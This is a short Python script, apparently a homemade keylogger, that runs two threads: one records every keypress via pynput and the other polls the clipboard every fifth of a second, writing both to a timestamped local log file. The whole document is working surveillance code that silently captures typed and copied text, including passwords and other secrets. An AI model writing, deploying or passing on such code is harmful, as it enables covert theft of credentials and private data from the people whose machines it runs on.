from pynput.keyboard import Listener
from pyperclip import paste
import logging
from time import sleep
import threading

logging.basicConfig(filename='KeyClip.log', level=logging.INFO, format='%(asctime)s: %(message)s')

def onPress(key):
    logging.info('Key:  ' + str(key))

def keyLogger():
    with Listener(on_press=onPress) as l:
        l.join()
        
def clipLogger():
    prevClip = ''
    while True:
        clip = paste()
        if prevClip != clip:
            logging.info('Clip:  '+ clip)
            prevClip = clip
        sleep(0.2)
    
keyThread = threading.Thread(target=keyLogger)
clipThread = threading.Thread(target=clipLogger)

keyThread.start()
clipThread.start()
